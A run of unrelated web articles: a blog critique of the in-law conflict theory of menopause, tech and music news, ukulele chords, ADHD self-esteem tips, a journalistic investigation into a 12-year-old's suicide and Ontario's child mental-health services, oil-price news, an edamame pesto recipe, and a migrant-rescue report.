has a B.M. and M.M. in Jazz Studies from the University of North Texas, is an Associate Professor of Jazz Guitar at Collin College, faculty of the National Guitar Workshop, and teaches privately at the Guitar Sanctuary and the Fine Arts Academy at FBC Keller. He leads his own jazz fusion quartet and is a freelance guitarist in Denton/Dallas, Texas. Visit peteweise.com for more information.A new study argues that in-law competition drove the evolution of menopause. But is the story too good to be true?
In the classic Scandinavian folktale "The Twelve Wild Ducks," also known as "The Twelve Brothers" in Grimms' Fairy Tales, a wicked old Queen is jealous of her daughter-in-law's beauty. In a rage of envy she kidnaps her own grandchildren during the night and throws them into a snake pit. She then tells her son that his young wife is actually a witch who has eaten their children and demands that she be burned at the stake. In the end, the daughter-in-law gains the upper hand and the wicked Queen is bound between twelve wild horses who rip her body into pieces.
Such stories were widespread in Scandinavia and northern Germany during the 18th and 19th centuries. A common theme in many of them--especially the more popular ones such as "Snow White," "Cinderella," or "Sleeping Beauty"--is of a beautiful damsel who is persecuted by an older mother-in-law or stepmother who mourns her own lost youth. Invariably her plot fails and the evil matriarch is sent to a grisly death. Similar tales can be found in Russia, India, and Japan. For an 18th century peasant the moral could not have been more clear: intergenerational conflict leads to disaster. But could there be something deeper behind the "collective unconscious" found in so many of these tall tales?
"Evolutionary biological insights yield a powerful set of instruments with which to understand literature and, in the process, ourselves," write David and Nanelle Barash in their book Madame Bovary's Ovaries: A Darwinian Look at Literature. According to Barash and Barash, these intergenerational conflicts between women may be so common in our folk traditions because they are part of a common biological heritage.
Now, in a new study published last week in the journal Ecology Letters, biologist Mirkka Lahdenpera of the University of Turku in Finland and colleagues argue that this conflict between female in-laws has a very real impact on child survival. What is more, they conclude that this intergenerational reproductive competition is a leading factor behind the evolution of menopause.
By utilizing Finnish church records from between 1702 and 1908 the researchers were able to assemble a remarkable data set that detailed every birth, death, marriage, and migration in five separate communities across three generations. Their analysis revealed that when women and their mothers-in-law had children within two years of one another infant survivorship was reduced by 50% for older women and 66% for daughters-in-law. In contrast, there was no decline when women and their own mothers reproduced within the same time frame.
"Our results confirm that intergenerational conflict between in-laws can be intense," the authors conclude, "with substantial reductions in the survival of offspring from mothers of both generations." They explain this by citing William Hamilton's theory of inclusive fitness, that individuals will tend to cooperate more with those whom they share more genes.
As the result of meiotic cell division in sexual reproduction a woman's mother-in-law would be expected to share 25% of their genes with her grandchild (assuming that her son is actually the father) but would share 50% with her own children. In an environment where there are limited resources and two infant mouths to feed in the same household the struggle for existence between in-laws could become fierce. Mothers may have then found themselves playing out the same roles as those in the folktales they grew up listening to around the fireplace.
However, while this first interpretation has strong empirical support, where the story goes next becomes somewhat more fanciful. Because of the significant decline in infant survivorship that occured when in-laws had children at the same time, Lahdenpera and colleagues argue that it would therefore be adaptive for women to stop ovulating before their daughters-in-law began having children themselves. The limited reproductive overlap seen between generations in our recent past is but an echo of the stabilizing selection pressure that occurred long ago over evolutionary timescales. Menopause at around 50 years old was the ultimate reproductive compromise.
In this way Lahdenpera's Reproductive Conflict Hypothesis of menopause is the sinister mirror image of what is currently the leading interpretation for why women have such lengthy post-reproductive lives. The Grandmother Hypothesis, developed by University of Utah anthropologist Kristen Hawkes, argues that long post-reproductive lifespans were selected for during our evolution because it allowed grandmothers to help their own children to successfully rear the next generation. Previous studies have made a strong case for the Grandmother Hypothesis, including one by Lahdenpera that appeared in Nature in 2004.
This earlier study found that the presence of either a mother or a mother-in-law resulted in significantly more grandchildren surviving to adulthood. It was, Lahdenpera wrote, "the equivalent of post-reproductive women gaining two extra grandchildren for every ten years that they survive beyond age 50." However, eight years later, it is unclear how the same data could generate seemingly contradictory findings. For evolutionary researchers like Hawkes it mars what is an otherwise "strong and provocative result."
"I admire the work of this research group and the ways they've used this Finnish data set to explore questions about human life history," Hawkes told me. "That said, in their 2004 paper they found positive grandmother effects through both sons and daughters. What's going on here? They say these Finns were very monogamous and that both sons and daughters either would not or could not disperse."
This issue of dispersal and residence patterns could be a serious problem for the Reproductive Conflict Hypothesis. A sedentary farming village in 18th century Finland is far removed from the migratory lifestyle of our hunter-gatherer ancestors. While Lahdenpera and colleagues acknowledge this in the introduction, they do not seem to take the implications fully into account.
Modern hunter-gatherers, and presumably our distant ancestors as well, are often what anthropologists refer to as multilocal in which individuals migrate between their husband's or wife's kin depending on where they can receive the most help. It has even been shown, for example among the Hadza in Tanzania, that grandmothers will travel to where they can be most useful. This dynamic would seem to undermine support for intergenerational reproductive conflict. If conditions were too onerous with the mother-in-law young families could simply "vote with their feet." At the very least it complicates the assumptions that Lahdenpera and colleagues included in their model.
"This is exactly why assumptions we make about behaviors that are or are not adaptive can be so problematic," University of Illinois anthropologist and Scientific American blogger Kate Clancy told me. Settled agricultural populations might simply be subject to more conflict between the generations whereas foragers would have much less. Furthermore, unlike these Finnish communities, only 14.5% of modern preindustrial societies can be classified as monogamous (though they would still include some monogamous individuals). The idea that a young woman could be beholden to her wicked mother-in-law would certainly not be as common among our hunter-gatherer forebears as it was for the contemporaries of Jacob and Wilhelm Grimm.
"Rather than this study demonstrating adaptive value for post-reproductive life," Clancy said, "it seems to provide more evidence that moms and their mothers-in-law had legitimately different reproductive strategies that can sometimes be in conflict." If the grim tales of murder and deceit between generations of women do have a basis in biology it will probably be this more limited interpretation. For now, at least, it would appear to be the Grandmother Hypothesis that lives happily ever after.Apple's secondary manufacturer, Pegatron, is following in the footsteps of Foxconn and beginning to automate its factories —and cutting back on new hires as a result, according to the company's chairman.
With automation in place, Pegatron is recruiting fewer workers at its Shanghai factory, DigiTimes quoted T.H. Tung as saying in response to Chinese media reports. The facility should be able to use 20 people to do what previously took 100, Tung claimed.It's not clear how many Pegatron production lines have been automated, but transition solves two problems for the company's management: the increasing difficulty of finding enough people to do menial assembly work, and the cost of hiring them, given improvements in wage standards.Indirectly that change should benefit Apple, since cheaper labor costs at Pegatron may mean lower order quotes, and hence higher profits on Apple's end.Foxconn is already making large strides in automation, for instance shrinking the workforce at its Kunshan factory from 110,000 people to only 50,000. Concerns have been raised about the socio-economic fallout of that sort of shift, given thousands of people being put out of work or forced to find it elsewhere. Kunshan has a large population of migrant workers, and if they leave in droves, that could impact not just them but the local economy for those who remain.Pegatron is believed to be handling at least a portion of this fall's "iPhone 7" production, but only 4.7-inch models, not any 5.5-inch units.The special-edition issue features 100 pages of incredible photos from this year's festival
A special Glastonbury Festival souvenir photo edition of NME is available to buy now, containing 100 pages of incredible photos from the weekend.
The special edition magazine is priced at £5 and also includes a free giant pull-out poster featuring an aerial A1 photo of the festival site and the official line-up poster on the other side.
Buy a copy now at NME’s online store.
Glastonbury 2015 came to a close on Sunday night (June 28) with The Who headlining the Pyramid Stage. Kanye West and Florence And The Machine topped the bill for the previous two nights, the latter filling in for Foo Fighters.
Jordan Hughes/NME Wolf Alice performing at Glastonbury 2015
Following their recent cancellation, Foo Fighters are now favourites to headline next year’s event, according to bookmakers William Hill.
Other acts deemed by likely to occupy one of the three headline spots include Muse, Fleetwood Mac, Oasis (pending a reunion), Daft Punk, Radiohead, AC/DC, The Stone Roses, The Rolling Stones and Bloc Party.
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Blur, Ed Sheeran, Green Day, Noel Gallagher’s High Flying Birds, Coldplay, Eminem and Prince are considered as outside chances.
Less probable to headline are David Bowie, Adele (both 66/1), One Direction and Dr Dre (each 100/1). See the full list of odds here.
https://link.brightcove.com/services/player/?bctid=4327014573001Been thinking of introducing this one to our set for a while. The Boys Are Back In Town by Thin Lizzy
The chords below are an approximation. There is an E in that second section of each verse, but on the uke (to my ears) it doesn't work too well, so an Em will work I think. This is just the bare bones of the song of course - the real trick is in getting the twiddly bits and lead right!INTRO [G] [Am] [C] x3[G]Guess who just got [Bm] back today[C] Them wild eyed boys [Em] that had been away [Bm]Haven't changed, [Em] hadn't much to say[Am7] But man I still think them [D7] cats are crazy[G] They were asking if [Bm] you were around[C] How you was where [Em] you could be found[D] Told them you were living [Em] down town[Am] driving all the old men [D7] crazyThe [G] boys are back in town (boys are back in town) [Am] [C]I said the [G] boys are back in town [Am](boys are back in town [C]The [G] boys are back in town (boys are back)The [Am] boys are back in town [C] (boys are back)[G] [Am] [C][G] You know that chick that [Bm]used to dance a lot[C] Every night she'd be on the [Em] floor shaking what [Bm] she gotMan when I tell you she was [Em] cool she was red hot[Am7] I mean she was [D7] steaming[G] And that time over at [Bm] Johnny's place[C] Well this chick got up and [Em] she slapped Johnny's face[D] Man, we just [Em] fell about the placeIf that [Am] chick don't wanna know [D7] forget herThe [G] boys are back in town (boys are back in town) [Am] [C]I said the [G] boys are back in town [Am](boys are back in town [C]The [G] boys are back in town (boys are back)The [Am] boys are back in town [C] (boys are back)[G] [Am] [C] riff[G] Friday night, [Bm] dressed to kill[C] down at Dino's [Em] bar and grill [Bm]The drink will flow and the [Em] blood will spill[Am7] And if the boys wanna fight you better [D7] let em[G] The jukebox in the [Bm] corner blasting out my favourite [C] songThe nights are getting [Em] longer and it won't be long [Bm]Won't be long till the [Em] summer comes[Amy7] Now that the [D7] boys are here againThe [G] boys are back in town (boys are back in town) [Am] [C]I said the [G] boys are back in town [Am](boys are back in town [C]The [G] boys are back in town (boys are back)The [Am] boys are back in town [C] (boys are back)[G] [Am] [C] riffIf you didn’t get diagnosed with ADHD until adulthood, you might’ve grown up with many damaging messages:
You’re lazy.
You’re not good enough or smart enough.
You’re stubborn.
You can’t do anything right.
You also probably grew up with many hardships, including a poor academic record, parental disapproval and frequent punishments, according to Terry Matlen, ACSW, a psychotherapist and author of Survival Tips for Women with ADHD.
You might be seen “as spacey, wild, purposefully difficult or obstinate and [receive] a lot of negative feedback from others,” said Lidia Zylowska, M.D., a board-certified psychiatrist who specializes in adult ADHD and penned the book The Mindfulness Prescription for Adult ADHD.
Those messages and experiences inevitably follow you into adulthood. How do you stop from beating yourself up over them?
As an adult, you probably struggle with additional problems and challenges. You might experience poor work performance, such as “not getting projects done on time, arriving late to work, not getting along with co-workers or your boss”; positions that don’t complement your abilities; romantic relationships that sour, Matlen said.
Even if you did get diagnosed in childhood, you still might’ve struggled. You might’ve had to contend with stigma due to your diagnosis or acting differently from your peers, Dr. Zylowska said. Kids with ADHD can have trouble making friends, and bullying is common, she said.
So, it’s not surprising that most people with ADHD have a negative perception of themselves. “The person with ADHD may…see themselves as an outcast, damaged or ‘not as good as everyone else.’”
But you don’t have to resign yourself to a lifetime of self-bashing, criticism and negative thoughts. Fortunately, you can learn to feel better about yourself. Here’s how.
1. Get treatment.
If you’re not receiving treatment for your ADHD, seek professional help. ADHD “improves remarkably with appropriate treatment,” Matlen said. Effective treatment usually includes medication and psychotherapy and/or ADHD coaching. Here’s help on finding a good therapist.
2. Remember ADHD is a disorder.
Remind yourself that ADHD is a neurobiological disorder that produces disruptive symptoms, such as inattention, distractibility and impulsivity, which affect all areas of your life. It is “not a character or personality flaw,” Matlen said.
3. Pay attention to your inner dialogue.
Many people don’t realize that they have a negative dialogue playing in their heads all day, every day, said Carol Perlman, Ph.D, a psychologist who specializes in ADHD and developed a cognitive behavioral therapy for adult ADHD. It’s this dialogue that can trigger negative feelings and sink your sense of self – all without your awareness.
Observe “how often you have judgmental, harsh thoughts about yourself in one single day,” Zylowska said. Doing so will help you challenge and change them.
Remember that you don’t have to “buy into these thoughts,” Perlman said. They are not facts, and you can learn to develop another more positive perspective.
4. Challenge distorted thoughts.
There are various types of unhelpful thoughts that can exacerbate how you feel about yourself, according to Perlman, also co-author of the therapist guide and workbook Mastering Your Adult ADHD. One example is black-and-white thinking, she said: “I either do this all right now or it’s not worth starting at all”; or “I’m a terrible worker” (instead of the more accurate statement: “My performance is variable”).
Another problematic thought pattern is catastrophizing, or when we believe that something is much worse than it really is. We essentially make a situation into a catastrophe. For instance, your boss’s negative feedback becomes “He thinks I’m a bad worker, and has zero confidence in me. I’ll probably get fired.”
Monitor your mind for these unhelpful thoughts, Perlman said. “Take a step back and challenge those thoughts. Is there evidence that supports this is true or not true? Might there be a more helpful way to look at the situation to help me feel better about myself?”
5. Develop a more compassionate and supportive inner voice.
Practice viewing yourself in a more supportive and positive light. If you’re not sure what this looks like, think about “what [you’d] say to your friend if they were beating themselves up over something,” Zylowska said.
6. Have a stress management plan.
“The more stressed a person is, the less they are able to step back and assess a situation, or manage their feelings,” said Jennifer Koretsky, a senior certified ADHD coach and author of Odd One Out: The Maverick’s Guide to Adult ADD. “The mental ‘path of least resistance’ takes over, and the self-judgment goes on loop.” She suggested working with a counselor or coach to help you create your individual plan.
7. Keep a success journal.
Koretsky asks her clients to write down five successes they experience every day. “Successes can be small.” For instance, you might jot down that you made it to an appointment on time, or kept your cool when your kids were driving you crazy, she said. “Focusing on what you’re doing right starts to shift your thoughts about yourself, and makes you aware of the good, which we never pay as much attention to.”
Perlman has her clients do something similar: “Create an accomplishment list of strengths and positive qualities.” It can be tough to do, and might take several weeks or months. Ask your friends and family for help. Perlman suggests clients “review this daily to offset negative feelings you might have in the moment, especially if something comes up that challenges your self-worth.”
8. Harness your strengths.
While ADHD “leads to difficulties with self-regulation of attention, emotions and behavior [it also might] lead to potential strengths in some contexts,” Zylowska said. “For example, many adults with ADHD credit their ADHD for being ‘big picture, innovative thinkers.’”
“Are you a natural leader? Use that skill to better your work and social connections,” Matlen said. “Do you love to write? Start a blog or consider writing that book you’ve always fantasized about.”
9. Engage in pleasurable, positive activities.
“Engage in activities that bring you joy and a sense of mastery, such as hobbies. Such positive experiences often help develop a positive sense of self that can carry over to other activities or settings,” Zylowska said.
10. Surround yourself with supportive people.
“Surround yourself with people who celebrate who you are, and let go of toxic relationships,” Matlen said. Initially, you might’ve picked people who tear you down, because that’s what you thought you deserved, she said. Again, remember ADHD is not a deep-seated flaw, but a real neurobiological disorder. “[F]ind a team of professionals, a group of loving, caring individuals who want to see you succeed.”
Over the years, you might’ve gotten very used to bashing yourself, even seeing yourself as a failure. While you can’t undo a sinking sense of self overnight, you can learn, gradually, to feel better and chip away at your negative thoughts. We hope the above tips help you start the process.
Adults with ADHD: How to Stop Beating Yourself UpStar Wars Battlefront gets its highly anticipated DLC today, introducing the Death Star and all the space battles and on-foot action that goes along with that setting.
If you’re looking for more galactic conflicts, check out our list of the best space games.
Along with the arrival of Chewbacca, Bossk and all that other good stuff, the patch also makes a few improvements and tweaks for those who don’t have the Season Pass.
The Death Star DLC – which includes five new maps, two new heroes, the Battle Station mode, more weapons and Star Cards – launched today for Season Pass owners (everyone else has to wait two weeks), but the other changes the patch introduced are live for everyone today.
Everyone benefits from the usual series of bug fixes, with some spectator camera issues sorted, along with some audio problems. The Bacta Bomb’s benefits should also now be more obvious on your health bar.
As for other changes, Battlefront’s level cap has been raised from 70 to 90, there are a bunch of free costumes for everyone and there are a number of changes to Star Cards, traits and weapons, including the ability to dual wield traits.
Soldiers can also no longer pistol whip Darth Vader while he’s force choking them, and Palpatine has been buffed.
For the full patch notes, head over to the official EA post.In a change of fortune, A-B InBev—who, rather than make their own good beer is buying up smaller breweries to do it for them—has received a buyout offer of their own. This news comes on the heels of InBev announcing the buyouts of Four Peaks, Camden Town, and Breckenridge Breweries all within the last few weeks. But now, with the shoe on the other foot, InBev will have to decide whether or not to accept an offer from John Falco of the not-yet-open Lincoln’s Beard Brewing Co in Miami, FL, who has offered the brewing conglomerate a $26,000 buyout.
The offer comes with an open letter from Falco justifying his pricing and skewering InBev and the “formerly craft” breweries they are snatching up. The letter points out that they settled on $26,000 because John Wilkes Booth was 26 when he assassinated Lincoln—a crafty shout-out to their own brewery in the works. Falco also mentions in the letter, however, that they won’t be able to pay the full $26,000 immediately, so they are requesting the 120-day payment terms that InBev forces on all of their suppliers, which has had a devastating effect on many of them.
The letter also points out way Lincoln’s Beard is not able to offer more. For instance, the fact that having employees is expensive, but InBev wouldn’t know that because on average the craft brewing industry employs 59 times more employees per barrel of beer produced, or that small batch brewing is expensive and time-consuming, which InBev would also not be familiar with due to their automated system and huge volume of beer produced.
But, Lincoln’s Beard does give some concessions to InBev; after all, a smaller brewery doesn’t have the expenses InBev would: “We are fortunately not afflicted with having to spend hundreds of millions of dollars battling antitrust investigations, incentivizing distributors to sideline our competitors, aggressively marketing a sub-par product, or gobbling up the aforementioned, formerly craft, breweries.”
In the end, InBev won’t care about this and most of the higher-ups will probably never even hear about it, but it does work as a clever marketing ploy for Lincoln’s Beard, which is most likely the only thing it was meant to do anyway.
Photo via Lincoln’s Beard Brewing Co.
Tags: BeerANN ARBOR, Michigan -- A total of 122,000 miles of roads link Michigan's fertile central farmlands to its northern wilderness and its southeastern industrial core. But this month, 4.2 miles of new pavement will link that road system to the future, too.
Those streets are part of Mcity, a 32-acre test facility at the University of Michigan that's funded in part by automotive and tech companies. There, researchers from academia, government and private industry will explore two profoundly transformative automotive technologies: cars that drive themselves and cars that communicate wirelessly with each other.
The |
Twitter, and racism.By: Allya Davidson
Chazz Petrella had an idyllic childhood in Cobourg, Ontario - 4 older siblings, loving parents, a hobby farm. But that all changed when his rages became too much for his family to handle. He was diagnosed with mental illness at age ten and was eventually on the files of nine agencies and services - including residential placements. Despite all of this care, he committed suicide just after he turned 12. His parents are now calling for an inquest into his death. And they’re not alone.
Ontario’s Provincial Advocate for Children and Youth Irwin Elman is pushing the provincial coroner to launch an inquest into Chazz’s death. “How does that 12-year-old boy end up hanging from a tree? I want to know” Elman tells the fifth estate as part of its investigation into Chazz’s death. “There’s a 12-year-old boy who has by all accounts some real strengths, [is] really engaging and for a number of years has had services in his life, people in his life.”
More on the Advocate’s Call for Answers
Chazz started life as a ball of energy. He was into everything - from skateboarding to bikes to graffiti art. His mother, Janet Petrella-Ashby tells the fifth estate’s Gillian Findlay, “Chazz was always full of energy, loved to try anything. He loved to play. He loved life, he loved everything. He really did.”
Growing up 90 minutes outside of Toronto in Cobourg, Ontario gave Chazz and his siblings plenty of opportunities to play. He could often be found trying daredevil stunts with best friend Keegan Ellison. “What we liked to do was we’d go over and climb fences and and jump off structures.” The two would then post their stunts on Chazz’s YouTube Channel.
But soon after he started school, Chazz’s teachers began reporting attention and aggression problems. Chazz switched schools but nothing seemed to help. His pediatrician thought it was a sure sign of ADHD and put him on medication. But that didn’t help either and the drugs kept him awake at night.
Older sister Gia remembers the turmoil of living with Chazz, “It was very hard. Not only did our relationship with Chazz suffer but our relationships with each other suffered. We weren’t talking as much… Our family fun nights weren’t anything anymore without someone getting upset or frustrated or breaking something.”
Whatever was wrong, Chazz didn’t understand his own feelings. Sometimes he would need to get away and be out his bedroom window and into the woods. His family would often find him just sitting in a tree.
His mother, Janet tells the fifth estate: “He would say he can’t shut his brain off. He would say he can’t think, he can’t control it and I think it was really hard for him because he couldn’t articulate how he felt.” As he got older, his behaviour got worse - he would fly into rages where he would break things and threaten to hurt himself and others, run away for days at a time and hang out with much older teens.
SEARCHING FOR ANSWERS
Then came the obsessions, setting fires, smoking and even marijuana. His parents found home made pipes stashed in Chazz’s bedroom. When his behaviour became too much to handle, Chazz’s parents reached out to several organizations including Children’s Aid and the local mental health provider, Kinark Child and Family Services.
Chazz was admitted to a mental health ward and the emergency room on separate occasions for making suicidal threats and was put on a modified schedule at school. Eventually, his parents Janet and Frank made a difficult decision, at the recommendation of a social worker, to send him to a residential treatment called “Hand in Hand”. He was ten years old.
A psychiatrist who saw Chazz at Hand in Hand wrote in a report obtained by the fifth estate that she thought Chazz suffered from a generalized anxiety disorder. She also had “serious concerns about the quality of care” he was receiving. Most of Hand in Hand’s other residents were much older teens who bullied Chazz. One even “threatened [Chazz] with a knife.” Most of all, the Dr. thought that Chazz needed psychological testing as soon as possible to determine any course of action.
But those tests never happened. After six months, Chazz was returned to his family. Though doctors had thrown around ideas including Attention Deficit Hyperactivity Disorder (ADHD) and Oppositional Defiant Disorder (ODD), intermittent explosive disorder and tried several medications, Chazz still had no clear diagnosis or treatment plan. He was happy to be home and had a brief honeymoon period before things took a turn for the worse. In the meantime, there were more meetings with all of the agencies involved with the Petrellas: Children’s Aid, the local school board, Kinark Child and Family Services. And then yet another agency was brought onboard - in June 2013, Service Coordination for Children and Youth.
Service Coordination is funded by the Ministry of Children and Youth Services and the Ministry of Community and Social Services. According to the Ministry of Children and Youth Services, “A service coordinator’s role involves helping children and youth to access the supports and services required to meet their needs from across all child- and youth-serving sectors, and coordinating the delivery of those services. A service coordinator’s role is generally associated with situations that are complex and therefore require supports and services from several providers.”
A service coordinator named Alex Muir was assigned Chazz’s case. It was quickly agreed that Chazz needed assessment and Chazz was fast-tracked into one of the three secure youth mental health facilities in Ontario: a place called Youthdale. Chazz’s father Frank Petrella tells fifth estate host Gillian Findlay that help was on the way, “We were told they had the facilities to do sleep analysis, neurological testing, medication tweaking...we were sold on it that this is the crisis centre. This is where we’re going to get answers.”
NO MONEY FOR TESTING
Youthdale could have been a turning point in Chazz Petrella’s life. Thirty days of 24-hour observation and a chance to do testing. But he was uncooperative, often refusing to talk to doctors. And there was another problem: money. Some of the tests the Youthdale doctors wanted to do cost extra, between $2,500 and $4,000.
Documents obtained by the fifth estate show that a request for funding was made to the Service Coordinator Alex Muir. But for reasons neither he nor the Ministry will explain, the funds were never approved and the tests were never done. After the legal limit of 30 days of secure treatment, Chazz was released.
The question would become where Chazz would go next. His placement at another group home, Kinark Lansdowne House, also ended in disaster. Police removed Chazz from that home after he allegedly punched a staff member.
His parents were at a loss. And increasingly, so was Chazz. His father, Frank Petrella: “he started to feel like he was being bounced around because he would quite often say to us, ‘Well Dad, what’s the point? It’s not going to make a difference.’” By this point, 11-and-half-year-old Chazz had been in and out of three schools, two residential facilities and a psychiatric crisis centre. And still no one had succeeded in doing the tests that might have lead to a diagnosis and treatment.
But in the winter of 2014, finally a beacon. Chazz was placed at Bayfield, a privately run school specializing in children with behavioural issues. Chazz’s mother, Janet Ashby-Petrella tells the fifth estate that Chazz finally started to thrive, “everything there was designed to support kids like him. So he didn’t feel centred out as far as his behaviour.”
His report card reflected the change - all As and Bs. Teachers called him a “pleasure” in the classroom. But almost as soon as Chazz had settled in - his treatment would turn on funding. Because Chazz has arrived at Bayfield on an emergency basis, his tuition was covered for the first 30 days.
Service Coordination then extended the coverage to allow Chazz to finish the school year but cautioned that if Chazz was to return to Bayfield the following year, it would be up to the Petrellas to pay - at least $21,000 per year. The Petrellas tell the fifth estate that they were not in a position to pay the Bayfield tuition.
In an email obtained by the fifth estate service coordinator Alex Muir writes,
“The funding of Chazz to attend Bayfield’s day program was really an exception based on the unique circumstances of his situation [...] it remains the responsibility of the [local] school board to provide educational programming for Chazz.”
But Chazz was not ready to re-enter the mainstream school system, according to a letter the Bayfield principal sent Chazz’s parents.
CONFUSED, FRUSTRATED AND SCARED
By The summer of 2014, Chazz had run out of hope, and to his mind, out of options. Things got worse as the summer went on. Chazz barely came out of his room and was growing gaunt. At the end of July, Chazz turned 12. He told his parents he just wanted a Blizzard from the Dairy Queen. No party.
One night in August was particularly out of control. Chazz flew into yet another rage and broke his hand punching a wall. His mother took him to the hospital, where he got a cast and was given twice the normal dose of an adult sedative.
Hours later, at around 4:00 a.m. they were back. Chazz had chewed off the cast and punched the wall again. Chazz told the ER doctor that he didn’t know why he was doing what he was doing and that he was confused, frustrated and scared.
The doctor told Chazz’s mom that she would have liked to keep Chazz but she didn’t have the staff or the bed. Chazz wandered off at 6:00a.m. while his mom was filling out forms in the hospital. He’d decided to walk the three kilometres home.
It was around 10 that morning that Chazz’s father Frank discovered Chazz’s bed was empty and went looking for him, “I have an office at the back of the house above my garage. Beside the garage was his favorite tree that would climb often when he was feeling overwhelmed. I was up in the office and I was coming back out I saw him in the tree and I thought he was just climbing it so I yelled at him to get out, and that we were worried sick about him. And then as I came down the steps and got a closer look I realized what he had done.”
CHAZZ IS NOT ALONE
Chazz’s parents argue that his suicide should never have happened given the level of intervention he had over his short life. And The Ontario Provincial Advocate for Children and Youth Irwin Elman agrees. Elman is calling on the provincial coroner to launch an inquest. He sees Chazz’s story as one more avoidable tragedy.
Elman launched Canada's first provincial inquest database online in 2013. The site features searchable recommendations from the more than 26 inquests in the last 15 years that involved issues around children and youth. The inquest database includes suicides, homicides and accidental deaths.
Elman hopes that giving the public access to this information will provide a resource for families and increase transparency. Among the recommendations, at least four different coroners’ juries have recommended specific systemic changes that, had they been implemented and enforced, might have helped Chazz and his family. These include: making comprehensive assessments a priority to be done as soon as a child is identified as having problems, assigning each family a government-appointed guide, someone to help navigate the fragmented system and to protect the child’s interests.
The problems Chazz faced with the various agencies are not new. There have been at least eight different government reports in Ontario all emphasizing the need to do better when it comes to children and mental health. Yet two shocking statistics remain: in Canada, suicide is the second leading cause of death for youth aged ten to 19. And Canada also has the third-highest youth suicide rate in the industrialized world.
the fifth estate wanted to ask the Minister for Children and Youth Services, Tracy MacCharles about the issues Chazz’s story raises. She declined several requests for an interview with the fifth estate. Instead she provided a statement. It reads in part that her Ministry is working “tirelessly” to fix what she calls “gaps” in Ontario’s mental health system.
As for the various agencies that dealt with the Petrella family - no one at Service Coordination, Kinark Child and Family Services or Highland Shores Children’s Aid Society would answer questions about Chazz.
Chazz’s parents hope that a coroner’s inquest will give them the answers they are looking for. Janet Ashby-Petrella: “I think there has to be accountability. It doesn’t have to be personal accountability, but there has to be someone to say that these are flaws in the system that have to be held accountable by each one of these agencies.”
Ontario’s Chief Coroner, Dr. Dirk Huyer confirms that his office is investigating Chazz Petrella’s death. The time a coroner’s investigation takes varies but in general takes many months. That investigation would need to be completed before a decision would be made about whether to call an inquest.
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Seven months after Chazz’s death, the Petrellas are slowly coming to terms with life without him. There’s a new baby in the family now, a niece who will never know her uncle.
His mother Janet still wonders what might have become of her son had he had the chance to mature: “It's hard because you get to a point where you realize that there's no new pictures of Chazz. There will never be new memories of Chazz, so those kinds of things become, more cherished. So many people have said to us, oh when I was younger I tried to commit suicide and felt exactly the same way and when I hit like my 20s I was able to control it with the right treatment. And I think we just feel like he didn't get that chance.”The authorities of Saudi Arabia and Venezuela have agreed to cooperate on restoring the plummeting oil prices, Venezuelan Finance Minister Rodolfo Marco Torres said Sunday.
“Excellent meeting with important results. We agreed to work to restore the market and oil prices,” Torres said on his Twitter account, following a meeting between Venezuelan President Nicolas Maduro and Saudi Arabia’s Minister of Petroleum and Mineral Resources Ali Al-Naimi.
Maduro is currently on tour throughout a number of oil-producing countries in a bid to cut production and boost oil prices. The president has already visited Iran and is set to continue his travel to Qatar and Algeria.
Oil prices have been cut in more than half since the summer of 2014 due to oversupply in the market, with Brent crude futures, reaching a five-year low at under $50 per barrel on January 5.
A sharp decline was noted after the Organization of the Petroleum Exporting Countries, whose 12 member states account for some 40 percent of world oil output, decided not to cut production at its November summit.
During Maduro’s visit to Iran last week, the Venezuelan president and and his Iranian counterpart Hassan Rouhani, whose country is also heavily dependent on oil prices, agreed to cooperate within OPEC to reverse the price downfall.
Excelente reunión con importantes resultados. Acordamos trabajar para recuperar mercado y precios del petróleo pic.twitter.com/fXjKBXGawW — Rodolfo Marco Torres (@RMarcoTorres) January 11, 2015
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Courtesy of SputnikServes 4
You may or may not know that I’m working on a low fat cookbook. I was deeply concerned that this meant goodbye to some of my favorite dishes but with a few tricks, a lot of creativity and many hours searching thriftstores for 80s diet cookbooks, I’ve been able to keep myself satisfied and I don’t feel like I’m sacrificing much.
For instance, no one should suffer a life without pesto, but a pesto without pinenuts or walnuts seems lifeless. So what’s a girl to do? Once again, it’s soybeans to the rescue! Edamame has just enough fat and texture to make a lighter healthier pesto work. It also makes the pesto at once bulky and creamy. It’s a miracle, really. Oh, little soybean, what can’t you do?
In this dish I’ve sauteed some mushrooms for meatiness and red onions for a little tinge of sweetness. But you can use edamame pesto as a dip or as a topping for a baked potatoes, or as a filling for lasagna, or anywhere else that pesto would be appropriate. It’s really easy and versatile, too. It may not taste exactly like the super oily pesto we all know and love, but it tastes pretty darn good and it’s got a fraction of the fat so it won’t leave you feeling like you’re about to give birth to a pesto baby. Did I just ruin your appetite forever?
For the edamame pesto:
2 cloves garlic, chopped
1 cup packed basil leaves
Handful (1/4 cup or so) fresh cilantro
14 oz package shelled edamame, thawed
1/2 cup vegetable broth
2 tablespoons fresh lemon juice
1 teaspoon olive oil
1 teaspoon salt
optional: 2 tablespoons nutritional yeast
For the pasta:
10 oz spinach linguine or other pasta
1 teaspoon olive oil
Small red onion, in thinly sliced half moons
1/2 lb cremini mushrooms, sliced
2 cloves garlic, minced
1 teaspoon dried thyme
1/4 teaspoon salt
Extra basil for garnish
Cooking spray
Put on a pot of salted water to boil. Then prepare the pesto:
Place garlic and basil in food processor and pulse a few times to get it chopped up. Add the remaining ingredients and blend until relatively smooth, scraping down the sides with a spatula to make sure you get everything. Add a little more vegetable broth if it seems too stiff. Set aside until ready to use.
Preheat a large pan over medium heat. At this point your pasta water should be ready, so add the linguine.
Saute onion in oil for about 5 minutes. Use a little cooking spray as needed, or a splash of water if you prefer. Mix in mushrooms, garlic, thyme and salt. Cover pot and cook 5 more minutes, stirring occasionally.
The pasta should be ready now, so drain it.
When the mushrooms have cooked down, add pasta to the pan, along with the pesto. Use a pasta spoon to stir and coat the linguine. Get everything good and mixed and the pesto heated through, about 3 minutes. The pesto should be relatively thick, but if it’s too thick (not spreading out and coating the pasta) add a few tablespoons of water. Taste for salt.
Serve immediately, garnished with a little fresh chopped basil.The international aid group Save the Children is suspending its efforts to rescue migrants making the dangerous Mediterranean Sea crossing from Libya.
Tuesday, the organization said the combination of falling numbers of crossings and worsening security forced it to stop sending its ship, the Vos Hestia, out from its port in Italy.
Save the Children said the ship rescued as many as 10,000 migrants over the past year after the smugglers’ vessels they were in foundered at sea.
The announcement comes just a day after Italian authorities searched the Vos Hestia as part of Rome’s efforts to deter people smuggling across the Mediterranean. Save the Children said the decision to suspend operations wasn’t related to the search and it told journalists that Italian prosecutors had given assurances it is not under investigation. It seems the search might be linked, however, to crew members on the boat.
